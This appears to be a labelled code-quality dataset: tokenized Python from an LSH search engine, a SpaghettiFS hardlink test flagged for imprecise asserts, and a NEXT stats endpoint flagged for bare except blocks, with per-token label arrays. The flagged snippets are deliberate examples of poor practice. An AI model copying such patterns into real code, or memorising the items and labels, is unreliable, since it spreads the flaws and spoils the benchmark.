"candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "neighbours_", "(_", "self_", ",_", "v_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Hashe", "s", " ", "vector", " ", "v", ",", " ", "collect", "s", " ", "all", " ", "candidate", " ", "vector", "s", " ", "from", " ", "the", " ", "matchi", "ng", "\\", "10", ";", " ", " ", " ", " ", "bucket", "s", " ", "in", " ", "storage", ",", " ", "appl", "ys", " ", "the", " ", "(", "option", "al", ")", " ", "distance", " ", "function", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "final", "ly", " ", "the", " ", "(", "option", "al", ")", " ", "filter", " ", "function", " ", "to", " ", "construct", " ", "the", " ", "return", "ed", " ", "list", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "eit", "her", " ", "(", "vector", ",", " ", "data", ",", " ", "distance", ")", " ", "tuple", "s", " ", "or", " ", "(", "vector", ",", " ", "data", ")", " ", "tuple", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Collect", " ", "candidate", "s", " ", "from", " ", "all", " ", "bucket", "s", " ", "from", " ", "all", " ", "hashes_", "\\u\\u\\uNL\\u\\u\\u_", "candidates_", "=_", "self_", "._", "\\u", "get", "\\u", "candidates_", "(_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "'", "Candidate", " ", "count", " ", "is", " ", "%", "d", "'", " ", "%", " ", "len", "(", "candidate", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Apply", " ", "fetch", " ", "vector", " ", "filter", "s", " ", "if", " ", "specified", " ", "and", " ", "return", " ", "filter", "ed", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "fetch", "\\u", "vector", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "candidates_", "=_", "self_", "._", "\\u", "appl", "y", "\\u", "filter_", "(_", "self_", "._", "fetch", "\\u", "vector", "\\u", "filters_", ",_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Apply", " ", "distance", " ", "implementation", " ", "if", " ", "specified", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "distance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "candidates_", "=_", "self_", "._", "\\u", "append", "\\u", "distances_", "(_", "v_", ",_", "self_", "._", "distance_", ",_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Apply", " ", "vector", " ", "filter", "s", " ", "if", " ", "specified", " ", "and", " ", "return", " ", "filter", "ed", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "vector", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "candidates_", "=_", "self_", "._", "\\u", "appl", "y", "\\u", "filter_", "(_", "self_", "._", "vector", "\\u", "filters_", ",_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "is", " ", "no", " ", "vector", " ", "filter", ",", " ", "just", " ", "return", " ", "list", " ", "of", " ", "candidates_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "candidates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "candidates_", "(_", "self_", ",_", "v_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Collect", " ", "candidate", "s", " ", "from", " ", "all", " ", "bucket", "s", " ", "from", " ", "all", " ", "hashe", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "candidates_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "lsh", "ash_", "in_", "self_", "._", "lsh", "ash", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "bucket", "\\u", "key_", "in_", "lsh", "ash_", "._", "hash", "\\u", "vector_", "(_", "v_", ",_", "query", "ing_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bucket", "\\u", "content_", "=_", "self_", "._", "storage_", "._", "get", "\\u", "bucket_", "(_", "lsh", "ash_", "._", "hash", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bucket", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "'", "Buck", "et", " ", "%", "s", " ", "size", " ", "%", "d", "'", " ", "%", " ", "(", "bucket", "\\u", "key", ",", " ", "len", "(", "bucket", "\\u", "content", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "candidates_", "._", "extend_", "(_", "bucket", "\\u", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "candidates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "appl", "y", "\\u", "filter_", "(_", "self_", ",_", "filters_", ",_", "candidates_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Apply", " ", "vector", " ", "filter", "s", " ", "if", " ", "specified", " ", "and", " ", "return", " ", "filter", "ed", " ", "list", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filter", "\\u", "input_", "=_", "candidates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fetch", "\\u", "vector", "\\u", "filter_", "in_", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filter", "\\u", "input_", "=_", "fetch", "\\u", "vector", "\\u", "filter_", "._", "filter", "\\u", "vectors_", "(_", "filter", "\\u", "input_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "filter", "\\u", "input_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "candidates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "append", "\\u", "distances_", "(_", "self_", ",_", "v_", ",_", "distance_", ",_", "candidates_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Apply", " ", "distance", " ", "implementation", " ", "if", " ", "specified", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "distance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Normalize", " ", "vector", " ", "(", "store", "d", " ", "vector", "s", " ", "are", " ", "normali", "zed", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nv_", "=_", "unit", "vec_", "(_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "candidates_", "=_", "[_", "(_", "x_", "[_", "0_", "]_", ",_", "x_", "[_", "1_", "]_", ",_", "self_", "._", "distance_", "._", "distance_", "(_", "x_", "[_", "0_", "]_", ",_", "nv_", ")_", ")_", "for_", "x_", "\\u\\u\\uNL\\u\\u\\u_", "in_", "candidates_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "candidates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clean", "\\u", "all", "\\u", "buckets_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Clear", "s", " ", "bucket", "s", " ", "in", " ", "storage", " ", "(", "remove", "s", " ", "all", " ", "vector", "s", " ", "and", " ", "thei", "r", " ", "data", ").", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "storage_", "._", "clean", "\\u", "all", "\\u", "buckets_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clean", "\\u", "buckets_", "(_", "self_", ",_", "hash", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Clear", "s", " ", "bucket", "s", " ", "in", " ", "storage", " ", "(", "remove", "s", " ", "all", " ", "vector", "s", " ", "and", " ", "thei", "r", " ", "data", ").", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "storage_", "._", "clean", "\\u", "buckets_", "(_", "hash", "\\u", "name_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
mgax/SpaghettiFS/spaghettifs/tests/test_storage.py
[ { "content": " def test_hardlink(self):\n root = self.repo.get_root()\n a = root['a.txt']\n self.assertEqual(a.inode['nlink'], 1)\n\n linked_a = root['b'].link_file('linked_a.txt', a)\n self.assertTrue(id(a.inode) == id(linked_a.inode),\n \"different inodes for `a` and `linked_a`\")\n self.assertEqual(a.inode['nlink'], 2)\n\n a.write_data('new data for text file \"a\"', 0)\n self.assertEqual(linked_a._read_all_data(),\n 'new data for text file \"a\"')\n\n repo2 = GitStorage(self.repo_path)\n a_2 = repo2.get_root()['a.txt']\n linked_a_2 = repo2.get_root()['b']['linked_a.txt']\n self.assertTrue(id(a_2.inode) == id(linked_a_2.inode))\n self.assertEqual(a_2.inode['nlink'], 2)\n self.assertEqual(linked_a_2._read_all_data(),\n 'new data for text file \"a\"')\n\n a.unlink()\n self.assertEqual(linked_a.inode['nlink'], 1)\n\n inode_name = linked_a.inode.name\n inodes_tt = treetree.TreeTree(self.repo.eg.root['inodes'], prefix='it')\n self.assertTrue(inode_name[1:] in inodes_tt)\n try:\n self.repo.get_inode(inode_name)\n except KeyError:\n self.fail()\n\n linked_a.unlink()\n self.assertFalse(inode_name in self.repo.eg.root['inodes'])\n self.assertRaises(KeyError, self.repo.get_inode, inode_name)", "metadata": "root.BackendTestCase.test_hardlink", "header": "['class', 'BackendTestCase', '(', 'SpaghettiTestCase', ')', ':', '___EOS___']", "index": 195 } ]
[ { "span": "self.assertTrue(id(a_2.inode) == id(linked_a_2.inode))", "start_line": 212, "start_column": 8, "end_line": 212, "end_column": 62 }, { "span": "self.assertTrue(inode_name[1:] in inodes_tt)", "start_line": 222, "start_column": 8, "end_line": 222, "end_column": 52 }, { "span": "self.assertFalse(inode_name in self.repo.eg.root['inodes'])", "start_line": 229, "start_column": 8, "end_line": 229, "end_column": 67 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Back", "end", "Test", "Case_", "(_", "Spa", "ghe", "tti", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hard", "link_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "self_", "._", "repo_", "._", "get", "\\u", "root_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "root_", "[_", "'", "a", ".", "txt", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", "._", "inode_", "[_", "'", "nli", "nk", "'_", "]_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "linked", "\\u", "a_", "=_", "root_", "[_", "'", "b", "'_", "]_", "._", "link", "\\u", "file_", "(_", "'", "linked", "\\u", "a", ".", "txt", "'_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", "(_", "a_", "._", "inode_", ")_", "==_", "id_", "(_", "linked", "\\u", "a_", "._", "inode_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "different", " ", "inode", "s", " ", "for", " ", "`", "a", "`", " ", "and", " ", "`", "linked", "\\u", "a", "`\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", "._", "inode_", "[_", "'", "nli", "nk", "'_", "]_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "write", "\\u", "data_", "(_", "'", "new", " ", "data", " ", "for", " ", "text", " ", "file", " ", "\"", "a", "\"'_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "linked", "\\u", "a_", "._", "\\u", "read", "\\u", "all", "\\u", "data_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "new", " ", "data", " ", "for", " ", "text", " ", "file", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repo", "2_", "=_", "Git", "Storage_", "(_", "self_", "._", "repo", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a", "\\u", "2_", "=_", "repo", "2_", "._", "get", "\\u", "root_", "(_", ")_", "[_", "'", "a", ".", "txt", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "linked", "\\u", "a", "\\u", "2_", "=_", "repo", "2_", "._", "get", "\\u", "root_", "(_", ")_", "[_", "'", "b", "'_", "]_", "[_", "'", "linked", "\\u", "a", ".", "txt", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", "(_", "a", "\\u", "2_", "._", "inode_", ")_", "==_", "id_", "(_", "linked", "\\u", "a", "\\u", "2_", "._", "inode_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a", "\\u", "2_", "._", "inode_", "[_", "'", "nli", "nk", "'_", "]_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "linked", "\\u", "a", "\\u", "2_", "._", "\\u", "read", "\\u", "all", "\\u", "data_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "new", " ", "data", " ", "for", " ", "text", " ", "file", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "unlink_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "linked", "\\u", "a_", "._", "inode_", "[_", "'", "nli", "nk", "'_", "]_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "inode", "\\u", "name_", "=_", "linked", "\\u", "a_", "._", "inode_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inode", "s", "\\u", "tt_", "=_", "tree", "tree_", "._", "Tree", "Tree_", "(_", "self_", "._", "repo_", "._", "eg_", "._", "root_", "[_", "'", "inode", "s", "'_", "]_", ",_", "prefix_", "=_", "'", "it", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inode", "\\u", "name_", "[_", "1_", ":_", "]_", "in_", "inode", "s", "\\u", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "repo_", "._", "get", "\\u", "inode_", "(_", "inode", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "linked", "\\u", "a_", "._", "unlink_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "inode", "\\u", "name_", "in_", "self_", "._", "repo_", "._", "eg_", "._", "root_", "[_", "'", "inode", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Key", "Error_", ",_", "self_", "._", "repo_", "._", "get", "\\u", "inode_", ",_", "inode", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
nextml/NEXT/next/api/resources/stats.py
[ { "content": " def post(self):\n \"\"\"\n .. http:post:: /experiment/stats\n\n Get stats related to an experiment. For a list of potential plot types and parameters see: LINK.\n\n **Example request**:\n .. sourcecode:: http\n\n POST /experiment/<exp_uid> HTTP/1.1\n Host: next_backend.next.discovery.wisc.edu\n\n {\n\t exp_uid: exp_uid,\n \targs: {\n stat_id: \"compute_duration_detailed_stacked_area_plot\",\n params: {\n task: \"getQuery\",\n alg_label: \"lilUCB\"\n } \n }\n }\n\n **Example response**:\n\n .. sourcecode:: http\n \n HTTP/1.1 200 OK\n Vary: Accept\n Content-Type: application/json\n\n {\n \t\n \tplot_type: 'multi_line_plot'\n \tx_label : 'Number of answered triplets'\n \tx_min : 1\n \tx_max : maximum number of reported answers for any algorithm\n \ty_label : 'Error on hold-out set'\n \ty_min : 0.\n \ty_max : maximum duration value achieved by any algorithm\n \tdata :[ \n \t\tt : list of timestamp strings\n \t\tx : integers ranging from 1 to maximum number of elements in y (or t)\n \t\ty : list of durations\n \t\tlegend_label : alg_label\n\t\t] \n }\n\n \n :statuscode 200: stats successfully accessed\n :statuscode 400: stats retrieval error\n \"\"\" \n post_parser.add_argument('exp_uid', type=str, required=True)\n post_parser.add_argument('exp_key', type=str, required=True)\n post_parser.add_argument('args', type=dict, required=True)\n\n # Validate args with post_parser\n args_data = post_parser.parse_args()\n\n # Pull app_id and exp_uid from parsed args_data\n exp_uid = args_data[\"exp_uid\"]\n exp_key = args_data[\"exp_key\"]\n if not keychain.verify_exp_key(exp_uid, exp_key):\n return api_util.attach_meta({}, api_util.verification_dictionary), 401\n\n # Fetch app_id data from resource manager\n app_id = resource_manager.get_app_id(exp_uid)\n\n # Args from dict to json type\n args_json = json.dumps(args_data[\"args\"])\n\n # Execute getStats\n response_json,didSucceed,message = broker.applyAsync(app_id,exp_uid,\"getStats\",args_json)\n response_dict = json.loads(response_json,parse_float=lambda o:round(float(o),4))\n\n try:\n for d in response_dict[\"data\"]:\n try:\n # If a datapoint (d) has a key, attach a target to that datapoint.\n if 'index' in d.keys():\n try:\n d[\"target\"] = targetmapper.get_target_data(exp_uid, d[\"index\"])\n except:\n print \"failed to get target\"\n except:\n pass\n except:\n # e.g. response_dict does not contain key \"data\"\n pass\n \n if didSucceed and \"data\" in response_dict.keys():\n return attach_meta(response_dict,meta_success), 201\n elif didSucceed and not \"data\" in response_dict.keys():\n return attach_meta({'data':[]},meta_error['StatsEmptyError']), 200\n else:\n return attach_meta({},meta_error['StatsRetrievalError'], backend_error=message), 400", "metadata": "root.Stats.post", "header": "['class', 'Stats', '(', 'Resource', ')', ':', '___EOS___']", "index": 60 } ]
[ { "span": "except:", "start_line": 142, "start_column": 24, "end_line": 142, "end_column": 31 }, { "span": "except:", "start_line": 144, "start_column": 16, "end_line": 144, "end_column": 23 }, { "span": "except:", "start_line": 146, "start_column": 8, "end_line": 146, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Stats_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "http", ":", "post", "::", " ", "/", "experiment", "/", "stats", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "stats", " ", "relate", "d", " ", "to", " ", "an", " ", "experiment", ".", " ", "For", " ", "a", " ", "list", " ", "of", " ", "potenti", "al", " ", "plot", " ", "types", " ", "and", " ", "parameter", "s", " ", "see", ":", " ", "LINK", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "request", "**", ":", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "experiment", "/", "<", "exp", "\\u", "uid", ">", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "next", "\\u", "back", "end", ".", "next", ".", "discove", "ry", ".", "wis", "c", ".", "edu", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", "\t ", " ", "exp", "\\u", "uid", ":", " ", "exp", "\\u", "uid", ",", "\\", "10", ";", " ", " \t", "args", ":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "stat", "\\u", "id", ":", " ", "\"", "compute", "\\u", "duration", "\\u", "detailed", "\\u", "stacked", "\\u", "area", "\\u", "plot", "\",", "\\", "10", ";", " ", " ", " ", " ", "params", ":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "task", ":", " ", "\"", "get", "Query", "\",", "\\", "10", ";", " ", " ", " ", " ", "alg", "\\u", "label", ":", " ", "\"", "lil", "UC", "B", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", "**", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Var", "y", ":", " ", "Accept", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " \t", "\\", "10", ";", " ", " \t", "plot", "\\u", "type", ":", " ", "'", "multi", "\\u", "line", "\\u", "plot", "'", "\\", "10", ";", " ", " ", "\t", "x", "\\u", "label", " ", ":", " ", "'", "Number", " ", "of", " ", "answer", "ed", " ", "triplet", "s", "'", "\\", "10", ";", " ", " ", "\t", "x", "\\u", "min", " ", ":", " ", "1", "\\", "10", ";", " ", " ", "\t", "x", "\\u", "max", " ", ":", " ", "maxim", "um", " ", "number", " ", "of", " ", "reporte", "d", " ", "answer", "s", " ", "for", " ", "any", " ", "algo", "rit", "hm", "\\", "10", ";", " ", " ", "\t", "y", "\\u", "label", " ", ":", " ", "'", "Error", " ", "on", " ", "hold", "-", "out", " ", "set", "'", "\\", "10", ";", " ", " ", "\t", "y", "\\u", "min", " ", ":", " ", "0.", "\\", "10", ";", " ", " ", "\t", "y", "\\u", "max", " ", ":", " ", "maxim", "um", " ", "duration", " ", "value", " ", "achieve", "d", " ", "by", " ", "any", " ", "algo", "rit", "hm", "\\", "10", ";", " ", " \t", "data", " ", ":[", " ", "\\", "10", ";", " ", " \t", "\t", "t", " ", ":", " ", "list", " ", "of", " ", "timestamp", " ", "string", "s", "\\", "10", ";", " ", " ", " \t\t", "x", " ", ":", " ", "integ", "ers", " ", "rang", "ing", " ", "from", " ", "1", " ", "to", " ", "maxim", "um", " ", "number", " ", "of", " ", "element", "s", " ", "in", " ", "y", " ", "(", "or", " ", "t", ")", "\\", "10", ";", " ", " \t", "\t", "y", " ", ":", " ", "list", " ", "of", " ", "duration", "s", "\\", "10", ";", " ", " \t", "\t", "legend", "\\u", "label", " ", ":", " ", "alg", "\\u", "label", "\\", "10", ";", "\t", "\t", "]", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\\", 